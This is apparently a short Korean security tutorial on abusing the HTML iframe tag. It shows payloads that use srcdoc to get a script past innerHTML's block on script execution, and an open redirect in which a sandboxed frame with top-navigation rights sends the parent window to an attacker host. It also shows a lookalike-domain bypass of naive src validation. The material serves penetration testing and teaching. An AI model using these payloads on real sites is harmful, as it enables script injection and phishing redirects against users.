Intro
<iframe>
은 다른 웹 페이지(HTML)를 사용하기 위한 태그이고, 아직 많이 사용하고 있는 것 같습니다. 특히 youtube를 불러올 때, 많이 쓰는거 같다는 느낌을 받았습니다. [왜 video로 안불러오지….?]
현 페이지가 보안에 안전한 페이지라도 불러오는 다른 웹 페이지가 안전하지 않다면 현 페이지에도 영향이 가기에 <iframe>
에 대한 저의 인식은 취약한 태그로 자리잡고 있습니다.
이 글에서 다양한 보안 설정들을 <iframe>
을 통해 어떻게 우회? 및 공격할 수 있는지 적어두려고 합니다.
Detect & Exploit
Detect
우선 iframe 태그를 삽입할 수 있는 지 파악해주시면 됩니다.
Exploit
InnerHTML 우회
MDN InnerHTML문서를 보면 InnerHTML로 <script>
삽입 시 실행이 되지 않는다고 되어 있습니다. 저도 진단하면서 간혹 태그는 정상적으로 들어가지만, 실행이 안됐던 적이 있었는데 <iframe>
을 통해 우회가 가능합니다.
☑️물론 <script>
가 삽입되는 곳이라면 다른 편한 방법이 있을 것입니다.
#srcdoc 속성을 이용한 태그 삽입
<iframe srcdoc="<script>alert()</script>">
Open Redirect
iframe의 sandbox 속성을 이용하면 부모 창을 제어할 수 있습니다.
#webhook
<script>window.top.location = https://attacker.com</script>
#victim site
<iframe src="https://webhook.site/~~" sandbox="allow-top-navigation allow-scripts">
#잘못된 src 검증 로직일 경우 ex) startswith
<iframe src="https://www.youtube.com.webhook.site/~~" sandbox="allow-top-navigation allow-scripts">